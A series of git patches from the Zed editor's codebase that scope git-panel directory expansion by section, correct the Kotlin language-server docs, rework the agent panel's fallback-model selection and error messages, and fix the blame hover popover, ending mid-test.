--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -498,7 +498,7 @@ struct TreeViewState {
     // Length equals the number of visible entries.
     // This is needed because some entries (like collapsed directories) may be hidden.
     logical_indices: Vec<usize>,
-    expanded_dirs: HashMap<RepoPath, bool>,
+    expanded_dirs: HashMap<TreeKey, bool>,
     directory_descendants: HashMap<TreeKey, Vec<GitStatusEntry>>,
 }
 
@@ -573,8 +573,8 @@ impl TreeViewState {
             let (child_flattened, mut child_statuses) =
                 self.flatten_tree(terminal, section, depth + 1, seen_directories);
             let key = TreeKey { section, path };
-            let expanded = *self.expanded_dirs.get(&key.path).unwrap_or(&true);
-            self.expanded_dirs.entry(key.path.clone()).or_insert(true);
+            let expanded = *self.expanded_dirs.get(&key).unwrap_or(&true);
+            self.expanded_dirs.entry(key.clone()).or_insert(true);
             seen_directories.insert(key.clone());
 
             self.directory_descendants
@@ -756,7 +756,7 @@ pub struct GitPanel {
     generate_commit_message_task: Option<Task<Option<()>>>,
     entries: Vec<GitListEntry>,
     view_mode: GitPanelViewMode,
-    tree_expanded_dirs: HashMap<RepoPath, bool>,
+    tree_expanded_dirs: HashMap<TreeKey, bool>,
     entries_indices: HashMap<RepoPath, usize>,
     single_staged_entry: Option<GitStatusEntry>,
     single_tracked_entry: Option<GitStatusEntry>,
@@ -1136,8 +1136,8 @@ impl GitPanel {
                     path: RepoPath::from_rel_path(dir),
                 };
 
-                if tree_state.expanded_dirs.get(&key.path) == Some(&false) {
-                    tree_state.expanded_dirs.insert(key.path.clone(), true);
+                if tree_state.expanded_dirs.get(&key) == Some(&false) {
+                    tree_state.expanded_dirs.insert(key, true);
                     needs_rebuild = true;
                 }
 
@@ -3940,7 +3940,7 @@ impl GitPanel {
 
     fn toggle_directory(&mut self, key: &TreeKey, window: &mut Window, cx: &mut Context<Self>) {
         if let Some(state) = self.view_mode.tree_state_mut() {
-            let expanded = state.expanded_dirs.entry(key.path.clone()).or_insert(true);
+            let expanded = state.expanded_dirs.entry(key.clone()).or_insert(true);
             *expanded = !*expanded;
             self.tree_expanded_dirs = state.expanded_dirs.clone();
             self.update_visible_entries(window, cx);
@@ -4353,13 +4353,9 @@ impl GitPanel {
                     }
                 }
 
-                let seen_directory_paths = seen_directories
-                    .iter()
-                    .map(|directory| directory.path.clone())
-                    .collect::<HashSet<_>>();
                 tree_state
                     .expanded_dirs
-                    .retain(|path, _| seen_directory_paths.contains(path));
+                    .retain(|key, _| seen_directories.contains(key));
                 self.tree_expanded_dirs = tree_state.expanded_dirs.clone();
                 self.view_mode = GitPanelViewMode::Tree(tree_state);
             }
@@ -8092,6 +8088,61 @@ mod tests {
         });
     }
 
+    #[test]
+    fn test_tree_view_directory_expansion_is_scoped_to_section() {
+        let entry = |path, status| GitStatusEntry {
+            repo_path: repo_path(path),
+            status,
+            staging: StageStatus::Unstaged,
+            diff_stat: None,
+        };
+        let mut state = TreeViewState::default();
+        let mut seen_directories = HashSet::default();
+
+        state.build_tree_entries(
+            Section::Tracked,
+            vec![entry("src/tracked.rs", StatusCode::Modified.worktree())],
+            &mut seen_directories,
+        );
+        state.build_tree_entries(
+            Section::New,
+            vec![entry("src/new.rs", FileStatus::Untracked)],
+            &mut seen_directories,
+        );
+
+        let tracked_key = TreeKey {
+            section: Section::Tracked,
+            path: repo_path("src"),
+        };
+        let new_key = TreeKey {
+            section: Section::New,
+            path: repo_path("src"),
+        };
+        state.expanded_dirs.insert(tracked_key.clone(), false);
+
+        let tracked_entries = state.build_tree_entries(
+            Section::Tracked,
+            vec![entry("src/tracked.rs", StatusCode::Modified.worktree())],
+            &mut seen_directories,
+        );
+        let new_entries = state.build_tree_entries(
+            Section::New,
+            vec![entry("src/new.rs", FileStatus::Untracked)],
+            &mut seen_directories,
+        );
+
+        assert_eq!(state.expanded_dirs.get(&tracked_key), Some(&false));
+        assert_eq!(state.expanded_dirs.get(&new_key), Some(&true));
+        assert!(matches!(
+            tracked_entries.first(),
+            Some((GitListEntry::Directory(entry), _)) if !entry.expanded
+        ));
+        assert!(matches!(
+            new_entries.first(),
+            Some((GitListEntry::Directory(entry), _)) if entry.expanded
+        ));
+    }
+
     fn register_git_commit_language(project: &Entity<Project>, cx: &mut VisualTestContext) {
         project.read_with(cx, |project, _| {
             project.languages().add(Arc::new(language::Language::new(
@@ -9776,7 +9827,7 @@ mod tests {
                 .view_mode
                 .tree_state()
                 .expect("tree view state should exist");
-            assert_eq!(state.expanded_dirs.get(&src_key.path).copied(), Some(false));
+            assert_eq!(state.expanded_dirs.get(&src_key).copied(), Some(false));
         });
 
         let worktree_id =
@@ -9795,7 +9846,7 @@ mod tests {
                 .view_mode
                 .tree_state()
                 .expect("tree view state should exist");
-            assert_eq!(state.expanded_dirs.get(&src_key.path).copied(), Some(true));
+            assert_eq!(state.expanded_dirs.get(&src_key).copied(), Some(true));
 
             let selected_ix = panel.selected_entry.expect("selection should be set");
             assert!(state.logical_indices.contains(&selected_ix));
@@ -9904,7 +9955,7 @@ mod tests {
                 .view_mode
                 .tree_state()
                 .expect("tree view state should exist");
-            assert_eq!(state.expanded_dirs.get(&foo_key.path).copied(), Some(false));
+            assert_eq!(state.expanded_dirs.get(&foo_key).copied(), Some(false));
 
             let foo_idx = panel
                 .entries

From 01568e5569b4952b721af8b545173d44c029baaa Mon Sep 17 00:00:00 2001
From: XiaoYan Li <lxy.lixiaoyan@gmail.com>
Date: Mon, 6 Jul 2026 16:10:13 +0800
Subject: [PATCH 269/772] Swap Kotlin LSPs in documentation to reflect actual
 default config (#54061)

## Summary

- The default settings in `assets/settings/default.json` disable
`kotlin-language-server` (prefixed with `!`) and enable `kotlin-lsp` as
the primary LSP, but the Kotlin documentation listed them the other way
around. This swaps the order so the docs match reality.

## Test plan

- [x] Verified `assets/settings/default.json` has
`["!kotlin-language-server", "kotlin-lsp", "..."]` for Kotlin
- [x] Confirmed the documentation now lists `kotlin-lsp` as the primary
Language Server and `kotlin-language-server` as the alternate

Release Notes:

- N/A

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 docs/src/languages/kotlin.md | 45 ++++++++++++++++++++++++++++++++----
 1 file changed, 40 insertions(+), 5 deletions(-)

diff --git a/docs/src/languages/kotlin.md b/docs/src/languages/kotlin.md
index 262dce5ac45241..93f48980a705e3 100644
--- a/docs/src/languages/kotlin.md
+++ b/docs/src/languages/kotlin.md
@@ -9,10 +9,45 @@ Kotlin language support in Zed is provided by the community-maintained [Kotlin e
 Report issues to: [https://github.com/zed-extensions/kotlin/issues](https://github.com/zed-extensions/kotlin/issues)
 
 - Tree-sitter: [fwcd/tree-sitter-kotlin](https://github.com/fwcd/tree-sitter-kotlin)
-- Language Server: [fwcd/kotlin-language-server](https://github.com/fwcd/kotlin-language-server)
-- Alternate Language Server: [kotlin/kotlin-lsp](https://github.com/kotlin/kotlin-lsp)
+- Language Server: [kotlin/kotlin-lsp](https://github.com/kotlin/kotlin-lsp)
+- Alternate Language Server: [fwcd/kotlin-language-server](https://github.com/fwcd/kotlin-language-server)
 
-## Configuration
+## Kotlin LSP
+
+[Kotlin LSP](https://github.com/kotlin/kotlin-lsp) is the official language server for Kotlin, built by JetBrains. It is used by default.
+
+It is downloaded and updated automatically. If you want to use a manually installed version instead, set the path to the `kotlin-lsp.sh` script from the release assets in your `settings.json`:
+
+```json [settings]
+{
+  "lsp": {
+    "kotlin-lsp": {
+      "binary": {
+        "path": "path/to/kotlin-lsp.sh",
+        "arguments": ["--stdio"]
+      }
+    }
+  }
+}
+```
+
+Note that the `kotlin-lsp.sh` script expects to be run from within the unzipped release zip file, and should not be moved elsewhere.
+
+## Kotlin Language Server
+
+The community-maintained [Kotlin Language Server](https://github.com/fwcd/kotlin-language-server) can be used instead of Kotlin LSP by explicitly enabling it in your `settings.json`:
+
+```json [settings]
+{
+  "languages": {
+    "Kotlin": {
+      "language_servers": ["kotlin-language-server", "!kotlin-lsp", "..."]
+    }
+  }
+}
+```
+
+### Configuration
 
 Workspace configuration options can be passed to the language server via lsp
 settings in `settings.json`.
@@ -21,7 +56,7 @@ The full list of lsp `settings` can be found
 [here](https://github.com/fwcd/kotlin-language-server/blob/main/server/src/main/kotlin/org/javacs/kt/Configuration.kt)
 under `class Configuration` and initialization_options under `class InitializationOptions`.
 
-### JVM Target
+#### JVM Target
 
 The following example changes the JVM target from `default` (which is 1.8) to
 `17`:
@@ -42,7 +77,7 @@ The following example changes the JVM target from `default` (which is 1.8) to
 }
 ```
 
-### JAVA_HOME
+#### JAVA_HOME
 
 To use a specific java installation, just specify the `JAVA_HOME` environment variable with:
 

From 69664ab9d33590a524df1164a74767c4285f6086 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Mon, 6 Jul 2026 10:18:50 +0200
Subject: [PATCH 270/772] agent: Show errors when provider is not authenticated
 but model is configured (#60417)

This PR improves the onboarding experience when using the agent panel.
Previously we would pick a fallback model in case the provider failed to
authenticate/was slow to resolve models. However, this code had a race
condition (for providers that resolve models dynamically like
Anthropic/GitHub Copilot), since we pick a fallback immediately after
all providers have been authenticated. However, at that point the
configured provider might not have resolved its models, so we would fall
back to a different provider. At some point we added a workaround for
the zed.dev provider.
We landed on a much simpler approach that eliminates the race condition:
We only pick a fallback model in case the user actually has no model
configured in his settings. In case the user has a model configured, we
won't fallback and show an actionable error message:

1. Model is not set and no fallback available

<img width="862" height="78" alt="image"
src="https://github.com/user-attachments/assets/e8e7472a-1c05-4cd2-8efc-49e6d921b0a4"
/>

2. Model is set, but provider is not authenticated

<img width="865" height="65" alt="image"
src="https://github.com/user-attachments/assets/3c8cbf1d-7dd5-4b2e-809a-61e6662721a3"
/>

3. Model is set, provider is authenticated, but model is not in model
list

<img width="863" height="63" alt="image"
src="https://github.com/user-attachments/assets/b97defa2-3fb4-4ec0-b3c6-26878d1c815c"
/>

4. Model is set, but provider is not recognised

<img width="865" height="67" alt="image"
src="https://github.com/user-attachments/assets/ecff1e3f-4f6b-47eb-a25d-125a104baafc"
/>



This plays well with the reason why we have the fallback model in the
first place: We only want to pick a fallback for users that open Zed for
a first time and e.g. have an Anthropic API key present in their
environment. As soon as the user manually changes his provider/model we
won't apply the fallback anymore.



Release Notes:

- agent: Improved error messaging when provider is not configured
- agent: Improve fallback model selection

---------

Co-authored-by: cameron <cameron.studdstreet@gmail.com>
---
 crates/agent/src/agent.rs                     |   5 +-
 crates/agent/src/thread.rs                    |  34 ++++-
 crates/agent_ui/src/agent_ui.rs               |  14 +-
 .../src/conversation_view/thread_view.rs      | 127 +++++++++++++++++-
 crates/language_model/src/registry.rs         |  53 ++++++--
 crates/language_models/src/language_models.rs |  48 +------
 6 files changed, 210 insertions(+), 71 deletions(-)

diff --git a/crates/agent/src/agent.rs b/crates/agent/src/agent.rs
index 75e52207f27f6e..381af5e2fa3027 100644
--- a/crates/agent/src/agent.rs
+++ b/crates/agent/src/agent.rs
@@ -374,7 +374,10 @@ impl LanguageModels {
                 }
             }
 
-            cx.update(language_models::update_environment_fallback_model);
+            cx.update(|cx| {
+                LanguageModelRegistry::global(cx)
+                    .update(cx, |registry, cx| registry.refresh_fallback_model(cx))
+            });
         })
     }
 }
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index fb2b277a634b5c..48b86de73b90f9 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -35,7 +35,8 @@ use futures::{
 };
 use futures::{StreamExt, stream};
 use gpui::{
-    App, AppContext, AsyncApp, Context, Entity, EventEmitter, SharedString, Task, WeakEntity,
+    App, AppContext, AsyncApp, Context, Entity, EventEmitter, ReadGlobal as _, SharedString, Task,
+    WeakEntity,
 };
 use heck::ToSnakeCase as _;
 use language_model::{
@@ -1181,7 +1182,7 @@ enum CompletionError {
     Other(#[from] anyhow::Error),
 }
 
-pub(crate) enum ThreadModel {
+pub enum ThreadModel {
     Ready(Arc<dyn LanguageModel>),
     Unresolved(SelectedModel),
     Unset,
@@ -1357,7 +1358,11 @@ impl Thread {
             .and_then(|model| model.speed);
         let (prompt_capabilities_tx, prompt_capabilities_rx) =
             watch::channel(Self::prompt_capabilities(model.as_deref()));
-        let model = model.map_or(ThreadModel::Unset, ThreadModel::Ready);
+        let model = match model {
+            Some(model) => ThreadModel::Ready(model),
+            None => Self::user_configured_model_selection(cx)
+                .map_or(ThreadModel::Unset, ThreadModel::Unresolved),
+        };
         Self {
             id: acp::SessionId::new(uuid::Uuid::new_v4().to_string()),
             prompt_id: PromptId::new(),
@@ -1946,6 +1951,10 @@ impl Thread {
         self.model.as_model()
     }
 
+    pub fn thread_model(&self) -> &ThreadModel {
+        &self.model
+    }
+
     pub(crate) fn ensure_model(
         &mut self,
         default_model: Option<&Arc<dyn LanguageModel>>,
@@ -1977,6 +1986,7 @@ impl Thread {
             cx.emit(TokenUsageUpdated(new_usage));
         }
         self.prompt_capabilities_tx.send(new_caps).log_err();
+        cx.emit(ModelChanged);
 
         for subagent in &self.running_subagents {
             subagent
@@ -2395,6 +2405,20 @@ impl Thread {
         Self::resolve_model_from_selection(&selection, cx)
     }
 
+    fn user_configured_model_selection(cx: &App) -> Option<SelectedModel> {
+        let selection = SettingsStore::global(cx)
+            .raw_user_settings()?
+            .content
+            .agent
+            .as_ref()?
+            .default_model
+            .as_ref()?;
+        Some(SelectedModel {
+            provider: LanguageModelProviderId::from(selection.provider.0.clone()),
+            model: LanguageModelId::from(selection.model.clone()),
+        })
+    }
+
     /// Translate a stored model selection into the configured model from the registry.
     fn resolve_model_from_selection(
         selection: &LanguageModelSelection,
@@ -4767,6 +4791,10 @@ pub struct TitleUpdated;
 
 impl EventEmitter<TitleUpdated> for Thread {}
 
+pub struct ModelChanged;
+
+impl EventEmitter<ModelChanged> for Thread {}
+
 /// A channel-based wrapper that delivers tool input to a running tool.
 ///
 /// For non-streaming tools, created via `ToolInput::ready()` so `.recv()` resolves immediately.
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index ccaf59f72b03f0..1640a90297f091 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -47,8 +47,8 @@ use editor::{Editor, SelectionEffects, scroll::Autoscroll};
 use feature_flags::FeatureFlagAppExt as _;
 use fs::Fs;
 use gpui::{
-    Action, App, Context, Entity, ImageSource, Resource, SharedString, SharedUri, TaskExt, Window,
-    actions,
+    Action, App, Context, Entity, ImageSource, ReadGlobal as _, Resource, SharedString, SharedUri,
+    TaskExt, Window, actions,
 };
 use language::{
     LanguageRegistry,
@@ -885,11 +885,12 @@ fn init_language_model_settings(cx: &mut App) {
         .detach();
     cx.subscribe(
         &LanguageModelRegistry::global(cx),
-        |_, event: &language_model::Event, cx| match event {
+        |registry, event: &language_model::Event, cx| match event {
             language_model::Event::ProviderStateChanged(_)
             | language_model::Event::AddedProvider(_)
             | language_model::Event::RemovedProvider(_)
             | language_model::Event::ProvidersChanged => {
+                registry.update(cx, |registry, cx| registry.refresh_fallback_model(cx));
                 update_active_language_model_from_settings(cx);
             }
             _ => {}
@@ -908,6 +909,12 @@ fn update_active_language_model_from_settings(cx: &mut App) {
         }
     }
 
+    let should_use_fallback = SettingsStore::global(cx)
+        .raw_user_settings()
+        .and_then(|user| user.content.agent.as_ref())
+        .and_then(|agent| agent.default_model.as_ref())
+        .is_none();
+
     let default = settings.default_model.as_ref().map(to_selected_model);
     let inline_assistant = settings
         .inline_assistant_model
@@ -933,6 +940,7 @@ fn update_active_language_model_from_settings(cx: &mut App) {
         registry.select_commit_message_model(commit_message.as_ref(), cx);
         registry.select_thread_summary_model(thread_summary.as_ref(), cx);
         registry.select_inline_alternative_models(inline_alternatives, cx);
+        registry.set_should_use_fallback(should_use_fallback);
     });
 }
 
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 2d7c6b6ca40f16..c2f06da5261de2 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -924,6 +924,20 @@ impl ThreadView {
                     cx.notify();
                 },
             ));
+
+            // A "no model selected" error is stale as soon as the thread has a
+            // usable model
+            if let Some(native_thread) = native_connection.thread(thread.read(cx).session_id(), cx)
+            {
+                subscriptions.push(cx.subscribe(
+                    &native_thread,
+                    |this: &mut Self, _thread, _event: &agent::ModelChanged, cx| {
+                        if matches!(this.thread_error, Some(ThreadError::NoModelSelected)) {
+                            this.clear_thread_error(cx);
+                        }
+                    },
+                ));
+            }
         }
 
         subscriptions.push(cx.observe(&message_editor, |this, editor, cx| {
@@ -10643,13 +10657,17 @@ impl ThreadView {
                 false,
                 cx,
             ),
-            ThreadError::NoModelSelected => self.render_error_callout(
-                "No Model Selected",
-                "Select a model from the model picker below to get started.".into(),
-                false,
-                false,
-                cx,
-            ),
+            ThreadError::NoModelSelected => self
+                .render_model_not_available_error(cx)
+                .unwrap_or_else(|| {
+                    self.render_error_callout(
+                        "No Model Selected",
+                        "Select a model from the model picker below to get started.".into(),
+                        false,
+                        false,
+                        cx,
+                    )
+                }),
             ThreadError::ApiError { provider } => self.render_error_callout(
                 "API Error",
                 format!(
@@ -10750,6 +10768,101 @@ impl ThreadView {
             .dismiss_action(self.dismiss_error_button(cx))
     }
 
+    fn render_model_not_available_error(&self, cx: &mut Context<Self>) -> Option<Callout> {
+        let thread = self.as_native_thread(cx)?;
+
+        let has_authenticated_provider =
+            LanguageModelRegistry::read_global(cx).has_authenticated_provider(cx);
+
+        let (title, description): (SharedString, SharedString) =
+            match thread.read(cx).thread_model() {
+                agent::ThreadModel::Ready(_) => return None,
+                agent::ThreadModel::Unresolved(selected_model) => {
+                    if let Some(provider) = LanguageModelRegistry::global(cx)
+                        .read(cx)
+                        .provider(&&selected_model.provider)
+                    {
+                        if !provider.is_authenticated(cx) {
+                            (
+                                format!("Failed to authenticate with {} provider", provider.name())
+                                    .into(),
+                                "Open the settings to configure the selected provider".into(),
+                            )
+                        } else {
+                            (
+                                format!("Model {} was not found", selected_model.model.0).into(),
+                                "You may need to reconfigure authentication for this provider"
+                                    .into(),
+                            )
+                        }
+                    } else {
+                        (
+                            format!("Provider {} was not found", selected_model.provider).into(),
+                            "Open the settings to configure providers".into(),
+                        )
+                    }
+                }
+                agent::ThreadModel::Unset => {
+                    if has_authenticated_provider {
+                        (
+                            "No model selected".into(),
+                            "Choose a different model or configure other providers to get started"
+                                .into(),
+                        )
+                    } else {
+                        (
+                            "No model selected".into(),
+                            "Configure a provider to get started".into(),
+                        )
+                    }
+                }
+            };
+
+        let callout = Callout::new()
+            .severity(Severity::Error)
+            .icon(IconName::XCircle)
+            .title(title)
+            .description(description)
+            .actions_slot(
+                h_flex()
+                    .gap_1()
+                    .child(self.open_llm_providers_settings_button(cx))
+                    .when(has_authenticated_provider, |this| {
+                        this.child(self.open_model_selector_button(cx))
+                    }),
+            )
+            .dismiss_action(self.dismiss_error_button(cx));
+
+        Some(callout)
+    }
+
+    fn open_llm_providers_settings_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
+        Button::new("configure-llm-provider", "Configure Provider")
+            .label_size(LabelSize::Small)
+            .style(ButtonStyle::Filled)
+            .on_click(cx.listener(|this, _, window, cx| {
+                this.clear_thread_error(cx);
+                window.dispatch_action(
+                    Box::new(zed_actions::OpenSettingsAt {
+                        path: "llm_providers".to_string(),
+                        target: None,
+                    }),
+                    cx,
+                );
+            }))
+    }
+
+    fn open_model_selector_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
+        Button::new("open-model-selector", "Select Model")
+            .label_size(LabelSize::Small)
+            .style(ButtonStyle::Filled)
+            .key_binding(KeyBinding::for_action(&ToggleModelSelector, cx))
+            .on_click(cx.listener(|this, _, window, cx| {
+                this.clear_thread_error(cx);
+                window.dispatch_action(ToggleModelSelector.boxed_clone(), cx);
+            }))
+    }
+
     fn render_prompt_too_large_error(&self, cx: &mut Context<Self>) -> Callout {
         const MESSAGE: &str = "This conversation is too long for the model's context window. \
             Start a new thread or remove some attached files to continue.";
diff --git a/crates/language_model/src/registry.rs b/crates/language_model/src/registry.rs
index ddc30b5d30ac86..28033e482f362b 100644
--- a/crates/language_model/src/registry.rs
+++ b/crates/language_model/src/registry.rs
@@ -44,6 +44,8 @@ impl std::fmt::Debug for ConfigurationError {
 
 #[derive(Default)]
 pub struct LanguageModelRegistry {
+    /// True if the user has *NO* default model configured in settings
+    should_use_fallback: bool,
     default_model: Option<ConfiguredModel>,
     /// This model is automatically configured by a user's environment after
     /// authenticating all providers. It's only used when `default_model` is not set.
@@ -151,6 +153,10 @@ impl LanguageModelRegistry {
         self.default_model.as_ref().unwrap().model.clone()
     }
 
+    pub fn set_should_use_fallback(&mut self, value: bool) {
+        self.should_use_fallback = value;
+    }
+
     pub fn register_provider<T: LanguageModelProvider + LanguageModelProviderState>(
         &mut self,
         provider: Arc<T>,
@@ -357,11 +363,30 @@ impl LanguageModelRegistry {
         self.default_model = model;
     }
 
-    pub fn set_environment_fallback_model(
-        &mut self,
-        model: Option<ConfiguredModel>,
-        cx: &mut Context<Self>,
-    ) {
+    pub fn refresh_fallback_model(&mut self, cx: &mut Context<Self>) {
+        // If the fallback model was already set or we don't want to use it, do nothing
+        if !self.should_use_fallback || self.available_fallback_model.is_some() {
+            return;
+        }
+
+        let fallback_model = self
+            .providers()
+            .iter()
+            .filter(|provider| provider.is_authenticated(cx))
+            .find_map(|provider| {
+                let model = provider
+                    .default_model(cx)
+                    .or_else(|| provider.recommended_models(cx).first().cloned())?;
+                Some(ConfiguredModel {
+                    provider: provider.clone(),
+                    model,
+                })
+            });
+
+        self.set_fallback_model(fallback_model, cx);
+    }
+
+    fn set_fallback_model(&mut self, model: Option<ConfiguredModel>, cx: &mut Context<Self>) {
         if self.default_model.is_none() {
             match (self.available_fallback_model.as_ref(), model.as_ref()) {
                 (Some(old), Some(new)) if old.is_same_as(new) => {}
@@ -417,9 +442,13 @@ impl LanguageModelRegistry {
             return None;
         }
 
-        self.default_model
-            .clone()
-            .or_else(|| self.available_fallback_model.clone())
+        self.default_model.clone().or_else(|| {
+            if self.should_use_fallback {
+                self.available_fallback_model.clone()
+            } else {
+                None
+            }
+        })
     }
 
     pub fn default_fast_model(&self, cx: &App) -> Option<ConfiguredModel> {
@@ -617,7 +646,7 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_configure_environment_fallback_model(cx: &mut gpui::TestAppContext) {
+    async fn test_configure_fallback_model(cx: &mut gpui::TestAppContext) {
         let registry = cx.new(|_| LanguageModelRegistry::default());
 
         let provider = Arc::new(FakeLanguageModelProvider::default());
@@ -631,7 +660,7 @@ mod tests {
             let provider = registry.provider(&provider.id()).unwrap();
             let model = provider.default_model(cx).unwrap();
 
-            registry.set_environment_fallback_model(
+            registry.set_fallback_model(
                 Some(ConfiguredModel {
                     provider: provider.clone(),
                     model: model.clone(),
@@ -639,6 +668,10 @@ mod tests {
                 cx,
             );
 
+            assert!(registry.default_model().is_none());
+
+            registry.set_should_use_fallback(true);
+
             let default_model = registry.default_model().unwrap();
             assert_eq!(default_model.model.id(), model.id());
             assert_eq!(default_model.provider.id(), provider.id());
diff --git a/crates/language_models/src/language_models.rs b/crates/language_models/src/language_models.rs
index a9ec2b028ff46d..ce968e3d611184 100644
--- a/crates/language_models/src/language_models.rs
+++ b/crates/language_models/src/language_models.rs
@@ -5,9 +5,7 @@ use client::{Client, UserStore};
 use collections::{HashMap, HashSet};
 use credentials_provider::CredentialsProvider;
 use gpui::{App, Context, Entity};
-use language_model::{
-    ConfiguredModel, LanguageModelProviderId, LanguageModelRegistry, ZED_CLOUD_PROVIDER_ID,
-};
+use language_model::{LanguageModelProviderId, LanguageModelRegistry};
 use provider::deepseek::DeepSeekLanguageModelProvider;
 
 pub mod extension;
@@ -140,50 +138,6 @@ pub fn init(user_store: Entity<UserStore>, client: Arc<Client>, cx: &mut App) {
     .detach();
 }
 
-/// Recomputes and sets the [`LanguageModelRegistry`]'s environment fallback
-/// model based on currently authenticated providers.
-///
-/// Prefers the Zed cloud provider so that, once the user is signed in, we
-/// always pick a Zed-hosted model over models from other authenticated
-/// providers in the environment. If the Zed cloud provider is authenticated
-/// but hasn't finished loading its models yet, we don't fall back to another
-/// provider to avoid flickering between providers during sign in.
-pub fn update_environment_fallback_model(cx: &mut App) {
-    let registry = LanguageModelRegistry::global(cx);
-    let fallback_model = {
-        let registry = registry.read(cx);
-        let cloud_provider = registry.provider(&ZED_CLOUD_PROVIDER_ID);
-        if cloud_provider
-            .as_ref()
-            .is_some_and(|provider| provider.is_authenticated(cx))
-        {
-            cloud_provider.and_then(|provider| {
-                let model = provider
-                    .default_model(cx)
-                    .or_else(|| provider.recommended_models(cx).first().cloned())?;
-                Some(ConfiguredModel { provider, model })
-            })
-        } else {
-            registry
-                .providers()
-                .iter()
-                .filter(|provider| provider.is_authenticated(cx))
-                .find_map(|provider| {
-                    let model = provider
-                        .default_model(cx)
-                        .or_else(|| provider.recommended_models(cx).first().cloned())?;
-                    Some(ConfiguredModel {
-                        provider: provider.clone(),
-                        model,
-                    })
-                })
-        }
-    };
-    registry.update(cx, |registry, cx| {
-        registry.set_environment_fallback_model(fallback_model, cx);
-    });
-}
-
 #[derive(Default, PartialEq, Eq)]
 struct CompatibleProviders(HashMap<Arc<str>, CompatibleProviderKind>);
 

From c4a9b1aa4bb64497b4eef84fb7f2c5988bd6c53b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jo=C3=A3o=20Soares?=
 <37777652+Dnreikronos@users.noreply.github.com>
Date: Mon, 6 Jul 2026 05:51:35 -0300
Subject: [PATCH 271/772] Fix blame hover popover not showing on first trigger
 when inline blame is disabled (#50769)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

● Closes #50285

## Summary

When `inline_blame` is disabled in settings and `editor::BlameHover` is
triggered,
the blame popover fails to appear on the first invocation because
`start_git_blame`
kicks off an async task to fetch blame data, but `blame_hover`
immediately tries to
read that data synchronously before it's available.

This fix registers a one-shot observation on the blame entity when it's
freshly
created, so the popover is shown once blame data has finished
generating.

Before you mark this PR as ready for review, make sure that you have:
- [x] Added a solid test coverage and/or screenshots from doing manual
testing
- [x] Done a self-review taking into account security and performance
aspects
- [ ] ~Aligned any UI changes with the [UI
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)~
(No UI changes)

## Videos:
### Before:

https://github.com/user-attachments/assets/d2ca4f8e-8186-49af-9908-5a82bfca0de2


Ps: pressed the keybind two times

### After:

https://github.com/user-attachments/assets/08575cd9-2bbc-462d-92fa-f0e7ef23d8d6



## Release Notes:

- Fixed blame hover popover not appearing on first trigger when inline
blame is disabled (#50285)

---------

Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com>
---
 crates/editor/src/editor.rs    |  2 +
 crates/editor/src/git.rs       | 26 +++++++--
 crates/editor/src/git/blame.rs | 97 ++++++++++++++++++++++++++++++++++
 3 files changed, 122 insertions(+), 3 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 913ab20c4c1f19..d2eb44ecc878de 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -1079,6 +1079,7 @@ pub struct Editor {
     show_selection_menu: Option<bool>,
     blame: Option<Entity<GitBlame>>,
     blame_subscription: Option<Subscription>,
+    pending_blame_hover_observation: Option<Subscription>,
     custom_context_menu: Option<
         Box<
             dyn 'static
@@ -2399,6 +2400,7 @@ impl Editor {
             }),
             blame: None,
             blame_subscription: None,
+            pending_blame_hover_observation: None,
 
             bookmark_store,
             breakpoint_store,
diff --git a/crates/editor/src/git.rs b/crates/editor/src/git.rs
index 7224fa15d4ce26..6bb94a892dc74a 100644
--- a/crates/editor/src/git.rs
+++ b/crates/editor/src/git.rs
@@ -638,6 +638,29 @@ impl Editor {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
+        let just_started = self.blame.is_none();
+        if just_started {
+            self.start_git_blame(true, window, cx);
+        }
+        let Some(blame) = self.blame.as_ref() else {
+            return;
+        };
+
+        if just_started && !blame.read(cx).has_generated_entries() {
+            let subscription = cx.observe_in(blame, window, |editor, blame, window, cx| {
+                if blame.read(cx).has_generated_entries() {
+                    editor.pending_blame_hover_observation.take();
+                    editor.show_blame_hover_popover(window, cx);
+                }
+            });
+            self.pending_blame_hover_observation = Some(subscription);
+            return;
+        }
+
+        self.show_blame_hover_popover(window, cx);
+    }
+
+    fn show_blame_hover_popover(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         let snapshot = self.snapshot(window, cx);
         let cursor = self
             .selections
@@ -647,9 +670,6 @@ impl Editor {
             return;
         };
 
-        if self.blame.is_none() {
-            self.start_git_blame(true, window, cx);
-        }
         let Some(blame) = self.blame.as_ref() else {
             return;
         };
diff --git a/crates/editor/src/git/blame.rs b/crates/editor/src/git/blame.rs
index 0e6ad1cb0ea6f1..e96a1087bd5fa5 100644
--- a/crates/editor/src/git/blame.rs
+++ b/crates/editor/src/git/blame.rs
@@ -1295,4 +1295,101 @@ mod tests {
             filename: String::new(),
         }
     }
+
+    #[gpui::test]
+    async fn test_blame_hover_shows_popover_on_first_trigger(cx: &mut gpui::TestAppContext) {
+        init_test(cx);
+
+        cx.update(|cx| {
+            use gpui::UpdateGlobal;
+            settings::SettingsStore::update_global(
+                cx,
+                |store: &mut settings::SettingsStore, cx| {
+                    store
+                        .set_user_settings(r#"{"git": {"inline_blame": {"enabled": false}}}"#, cx)
